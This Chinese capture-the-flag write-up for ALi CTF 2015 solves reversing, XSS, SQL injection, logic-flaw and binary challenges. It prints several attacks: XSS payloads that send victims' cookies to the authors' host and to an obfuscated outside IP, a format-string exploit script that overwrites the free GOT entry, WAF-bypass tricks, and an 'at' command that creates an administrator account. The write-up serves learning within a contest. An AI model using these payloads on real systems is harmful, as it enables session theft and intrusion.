ALi CTF 2015 write up

wyzsk發表於2020-08-19
作者: EvilMoon · 2015/04/03 15:03

Authors:

EM [email protected]

Ricter [email protected]

附件

0x00 Cake


Cake 是一題 Android 題,具體流程就是一個輸入一個字串然後,初始化一個長度為16的陣列,然後將字串與這個陣列 xor 。所以我們只需要再 xor 一下就 ok 了。

就是看程式碼逆向下,關鍵是有兩個 Key 找對就 ok 直接上程式碼

#!python
a = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
b = 'bobdylan'
s = ''
i = 0
for x in a:
    s+= chr(x ^ ord(b[i % len(b)]))
    i += 1
print s

0x01 滲透繞過WAF1


2、繞過雲 WAF1 是一題繞過 WAF 題,這個 WAF 寫的很死,所以就要用其他辦法咯~

透過開啟的彈窗提示,需要在.alictf.com的子域下面做,於是 fuzz 子域名:

enter image description here

得出video.alictf.com,開啟發現沒有 waf,注入點為id

enter image description here

0x02 前端初賽題1


反射型 XSS,透過 ph 牛的文章<svg>標籤內<script>的內容可以 HTML encode,成功彈窗。

enter image description here

之後 payload 如下:

#!javascript
var i = new Image();
i.src = "http://ricter.me:9999/?" + document.cookie;

得到 flag。

0x03 密碼寶寶


密碼寶寶 一題逆向題,用了 upx 加殼。

用010editor開啟後,可以看到加了upx殼,用upx –d脫殼

enter image description here

在ida中查詢GetWIndowTextA呼叫的地方

enter image description here

enter image description here

Sub_405160這個函式就是進行判斷的函式

enter image description here

可以看到邏輯比較簡單,就是將”himemnl”的每一位與0x4c,0x5a,0x4b各異或一次,就可以得到密碼“5408031”

0x04 簡單業務邏輯


簡單業務邏輯 一題邏輯漏洞題~

註冊賬號,其中 Username 為Admin

enter image description here

登入後買 -111 個草泥馬:

enter image description here

得到好多錢,然後買最貴的那個。

0x05 前端初賽題2


前端初賽題2 簡單來說就是給你一個 flash 讓你彈彈彈

直接反編譯得到 as 程式碼,首先可以知道 ExternalInterface.call 肯定是利用電,但是發現它會 delete 掉那些方法。找資料發現

/papers/?id=948

如果你需要將你的vector傳送到藏在防火牆的後面受害者(flashvars­可以使用#來達到隱藏自己的目的)又或者想突破一些客戶端的XSS防禦機制這個方法將會十分的湊效。這一切都基於flash會丟棄一些被URL編碼過的無效字元。

(1)flash會丟棄兩個出現在%後面的無效十六進位制字元(([^0-9a-fA-F])),比如:

"%X" or "%="

(2)如果在%後面出現一個有效和一個非有效十六進位制字元,就會丟棄三個字元,比如:

"%AX" or "%A&"

這樣處理後就能 bypass 那個 delete 了,因為在 for 裡時把 %X 帶上了,最後在 call 的時候 flash 會丟棄這個

然後在用這篇文章裡的方法

/tips/?id=2924

帶上

alert(1))}catch(e){alert(100)}//

當然直接用彈不出來(血的教訓,卡了好久,審查元素看了下發現語句不一樣=。= 所以最後可以這樣彈

#!javascript
%Xdebug=\%22));alert(1);}catch(e){alert(100)}//

最後 payload 如下

#!javascript
http://8dd25e24b4f65229.alictf.com/swf.swf?%Xdebug=\%22));eval(String.fromCharCode(101,118,97,108,40,34,118,97,114,32,120,61,110,101,119,32,73,109,97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,52,53,46,53,53,46,49,51,53,46,49,51,57,47,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,34,41));}catch(e){alert(100)}//

0x06 滲透繞過WAF2


繞過雲WAF2 題目顯示說不在內網,所以第一步就是先設定一個內網 ip 咯 接下來看 writeup

提示需要內部訪問,於是 fuzz IP:

  • 192.168.x.x
  • 10.x.x.x
  • 172.16.x.x

發現 10 開頭的 IP 可以訪問。透過更改 HTTP 請求方法為 PATCH 可以讓防護等級為中。
更改關鍵字,如%20改為%0b等繞過檢測,注入得到 flag。

enter image description here

0x07 誰偷了你的站內簡訊


誰偷了你的站內簡訊 一題 binary 題

直接無腦 F5 ,可以看到 sendMail 直接 printf 了輸入,所以就有一個 Format String 漏洞。

當然,要任意地址寫得有個資料在棧上,然後發現使用者名稱在棧上,再追一下棧上的資料,可以看到 76 的位置放著使用者名稱,所以我可以任意地址寫了。

然後本來還想怎麼洩漏 libc 的地址什麼的,結果再看看程式碼,那裡躺著一個 print_flag 。。。這下就簡單了,發現在 sendMail 後返回後跟著三個 free ,我直接改 free 的 got 表,讓他跳到 print_flag 就行了,直接上程式碼。

#!python
#coding:utf-8
from zio import *

print_flag = 0x08048BBD
free_addr = 0x0804C014

exp = """%134515645x%76$hn"""

io = zio(('exploit.alictf.com',5608))
''' # 第一次註冊要用這個
io.read_until('Quit')
io.writeline('1')
io.read_until('Name:')
io.writeline(l32(free_addr))
io.read_until('ass:')
io.writeline('1234')
'''

io.read_until('Quit')
io.writeline('2')
io.read_until('Name:')
io.writeline(l32(free_addr))
io.read_until('ass:')
io.writeline('1234')
io.read_until('Quit')
io.writeline('3')
io.read_until('To:')

io.writeline(exp)
''' # 這下面的去掉不然會超時,最後自己隨便寫就好了
io.read_until('Title:')
io.writeline('123')
io.read_until('Body:')
io.writeline('123')
io.read_until('Quit')
io.writeline('3')
'''
io.interact()

0x08 業務邏輯和滲透


先弄個正常的使用者,找回密碼,發現給了個地址

http://jinan.alictf.com/resetpass/reset.php?pass_token=xxxxx

想說這裡的 token 可以控制就好了,再看重置密碼的頁面,發現底部有東西。

testKey: 673f3e705c8d5b7af675f309e58d46c9
ServerTime:15-03-29 20:46:03

再想,token 明顯是個 md5 那麼會是怎麼組的呢,首先這個 testKey 和 ServerTime 肯定會用到,但是總不可能每個人的 token 都一樣,所以肯定還需要使用者名稱,試了下發現是

md5(username + testKey + serverTime(時間戳))

然後就可以修改 admin 的密碼了,但是。。說我異地登陸。嘗試改 xff 、 xrealip 等頭都不行。。。然後上網找了個 http 代理。。然後就。。就可以了。這題自帶地域歧視!山東人直接能秒了啊!!!

0x09 前端初賽題3


#!javascript
<html>
<head>
  <script src='jquery.min.js'></script>
  <script>
    function URL(url) {
        this.url = url
        this.illegal = false;

        this.scheme = null
        this.query = null;
        this.fragment = null;
        this.authority = '';
        this.path = '';
        this.username = null;
        this.password = null;
        this.port = 80;
    }
    URL.prototype.parse = function(){
      var url = this.url

      //parse fragment
      var pos = url.indexOf('#');
      if(pos > -1){
        if(url.length > pos+1){
          this.fragment = url.substr(pos+1, url.length-(pos+1));
        }
        url = url.substr(0, pos);
      }
      //parse query
      pos = url.indexOf('?');
      if(pos > -1){
        if(url.length > pos+1){
          this.query = url.substr(pos+1, url.length-(pos+1));
        }
        url = url.substr(0, pos);
      }

      //parse scheme
      var pos1 = url.indexOf(':');
      var pos2 = url.indexOf('/');
      if(pos1 > -1 && pos2 > pos1){
        this.scheme = url.substr(0, pos1).toLowerCase();
        url = url.substr(pos1+1);
        if(url.substr(0,2) == '//'){
          url = url.substr(2);
        }else{
          this.illegal = true;
          return
        }
      }else{
        this.illegal = true;
        return
      }

      while(url.charAt(0) == '/'){
        url = url.substr(1)
      }

      pos = url.indexOf('/')
      if(pos == -1){
        this.authority = url;
        this.path = '';
      }else{
        this.authority = url.substr(0, pos);
        this.path = url.substr(pos);
      }

      //parse username and password
      pos = this.authority.indexOf('@');
      if(pos == -1){
        this.username = null;
        this.password = null;
      }else{
        this.username = this.authority.substr(0, pos);
        this.authority = this.authority.substr(pos+1);
        pos = this.username.indexOf(':')
        if(pos == -1){
          this.password = null;
        }else{
          this.password = this.username.substr(pos+1);
          this.username = this.username.substr(0, pos);
        }
      }

      //parse port
      pos = this.authority.indexOf(':');
      if(pos > -1){
        this.port = this.authority.substr(pos+1);
        this.authority = this.authority.substr(0, pos)
      }
    }
    URL.prototype.validate = function(){
      this.parse();

      if(this.illegal) return;
      //validate scheme
      if(this.scheme != 'http' && this.scheme != 'https'){
        this.illegal = true;
        return;
      }
      if(this.username && this.username.indexOf('\\') > -1){
        this.illegal = true;
        return;
      }
      if(this.password && this.password.indexOf('\\') > -1){
        this.illegal = true;
        return;
      }
      if(this.authority != 'notexist.example.com'){
        this.illegal = true;
        return;
      }
    }
    URL.prototype.get = function(){
      if(this.illegal){
        return 'default.js';
      }else{
        return this.url;
      }
    }
  </script>
</head>
<body>
  <script type="text/javascript">
    var url = new URL(location.search.substr(1));
    url.validate()
    url = url.get()
    $.getScript(url)
  </script>
</body>
</html>

讀 JavaScript 程式碼,構造地址:

http://ef4c3e7556641f00.alictf.com/xss.php?http://notexist.example.com:@notexist.example.com:@ricter.me:9999/  

載入的 JavaScript 指令碼和 XSS100 相同。

0x10 簡單業務邏輯2


#!php
<!--
  function encrypt($plain) {
    $plain = md5($plain);
    $V = md5('??????'); 
    //var_dump($V);
    $rnd = md5(substr(microtime(),11));

    //var_dump(substr(microtime(),11)+mt_rand(0,35));
    $cipher = '';
    for($i = 0; $i < strlen($plain); $i++) {
        $cipher .= ($plain[$i] ^ $rnd[$i]);
    }
    $cipher .= $rnd;
    $V .= strrev($V);
    //var_dump($cipher);
    for($i = 0; $i < strlen($V); $i++) {
        $cipher[$i] = ($cipher[$i] ^ $V[$i]);
    }
    //var_dump($cipher);
    //var_dump($V);
    return str_replace('=', '', base64_encode($cipher));
}
function decrypt($cipher) {
    $V = md5('??????');
    $cipher_1 = base64_decode($cipher);
    //var_dump($cipher_1);
    if (strlen($cipher_1)!=64){
    return 'xx';
    }

    $V .= strrev($V);
    $plain = $cipher_1;
    //var_dump($cipher_1);
    //var_dump($V);
    for($i = 0; $i < strlen($V); $i++) {
        $plain[$i] = ($cipher_1[$i] ^ $V[$i]); 
    }
    $ran = substr($plain,32,32);
    $plain = substr($plain,0,32);
    //var_dump($plain);
    for ($i = 0; $i < strlen($ran); $i++) {
    $plain[$i] = ($plain[$i] ^ $ran[$i]);
    }
    //var_dump($plain);
    return $plain;
}
!>

讀頁面中的 PHP 程式碼,得到加密和解密演算法。

  • 1.使用者名稱 md5 後,與一個隨機生成的 md5 XOR;

  • 2.使用者名稱 md5 加上 rnd md5 組成密文 1;

  • 3.密文 1 和一個未知的 md5(V) . strrev(md5(V)) 進行 XOR;

  • 4.最後組合密文返回;

由此可知,前 32 位為:

md5("Guest") ^ md5(rnd) ^ md5(V)

後 32 位為:

md5(rnd) ^ strrev(md5(V))

如果想把前 32 位的使用者名稱從 Guest 換成 Admin,則有:

md5("Guest") ^ md5(rnd) ^ md5(V) ^ md5("Guest") ^ md5("Admin")

所以最終結果寫個 Python 指令碼算即可_(:з」∠)_

enter image description here

登入後 Cookie 中有一個 serailize 的注入,過濾了括號,不過分分鐘了..

enter image description here

0x11 滲透初賽題


就是給一個網站你滲透~

透過 URL 猜測註冊的 URL 為更改actionregister,之後前端修改繞過限制註冊賬號。

enter image description here

修改頭像處存在列目錄漏洞,發現網站備份檔案。

enter image description here

進入後臺地址,透過萬能密碼繞過。其中第一層無名之盾繞過方式為 mul 表單繞過,第二層直接or{x 1}#

enter image description here

程式碼審計得到 user_bak 函式處存在一個二次注入漏洞(about 那裡)。

enter image description here

得到超級管理員密碼,為 h4xxxx!@#。

然後我要吐槽了:

這個題雖然出的不錯,但是最後這點真的是為了出題而出題了。ADS 能想到,新建資料夾也能想到,但是那個 admin_pic 真是要開腦洞的。最後隊友 eee 做出來了,大概是先 ADS 的 ::INDEX_ALLOCATION 新建資料夾,然後改 admin_pic 的 Cookie,再用 ::$DATA 上傳 php 檔案。

0x12 題目名稱:宙斯盾


題目描述:你的當前token為 27638e649e4371f54eddb9a201f1b78c

伺服器:ageis.alictf.com

請設法在伺服器上新建一個以參賽者賬號暱稱為名字的管理員組賬號.

建立成功後,訪問 http://ageis.alictf.com,若能看到 “暱稱:字串”格式的內容,

則將 字串 和你的 token 拼接即為flag。

A. 伺服器上有一個賬號叫 alictf,為弱密碼。
B. 作業系統版本為 win2003 x64。
C. 本機已開啟VPN服務。
D. 為了避免影響他人做題,在伺服器上所有操作都不會真實成功的,只會完整記錄。
E. 請不要對參賽伺服器發起攻擊,我們會記錄,輕則遮蔽參賽者IP,重則取消比賽資格。

題目很明顯就是要你登陸 VPN 。手工測試

alictf:123456

直接登入。 ifconfig 看一下, ip 是 172.16.0.1 掃了下埠,就開了 80 445 1025 1723 3389 沒什麼好想的 3389 肯定上不去,也不太可能是 snmp 直接 smb 那邊考慮下,本來想無腦 msf 直接打,結果發現死活不成功,然後看了下官方的 tips 讓我們好好看有存在什麼檔案,發現有兩個檔案,是 windows 計劃任務資料夾下的檔案, 即目錄為

c:\windows\tasks

一開始 at 一直不成功,就想說是不是因為沒寫路徑,然後就一直測試

at \\172.16.0.1 xx:xx c:\windows\tasks\server.exe

妄圖執行一個遠控,但是屢屢失敗,然後看官方的描述

為了避免影響他人做題,在伺服器上所有操作都不會真實成功的,只會完整記錄。

考慮既然都不會執行,那要遠控幹嘛。。所以直接執行命令好了!但是,人生最精彩的就在這個但是,這樣執行命令也是不行的!!!那怎麼辦迴歸原始,既然這個是個計劃任務的資料夾,那我直接把 job 檔案複製進去好了,但是其實按理說不行,因為計劃任務和登錄檔有些版本是有關聯的,但是比賽嘛,不管那麼多了,先本地執行

at xx:xx "net user eee password /add && net localgroup administrators eee /add"

這樣會在 c:\windows\tasks\ 目錄生成一個 job 檔案,那麼我如果把這個檔案複製進去是不是就能生成一個計劃任務呢?Just do it

copy At1.job \\172.16.0.1\\Tasks\

複製進去,以防萬一我弄了 At2.job 和 At65535.job 然後等待伺服器執行!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!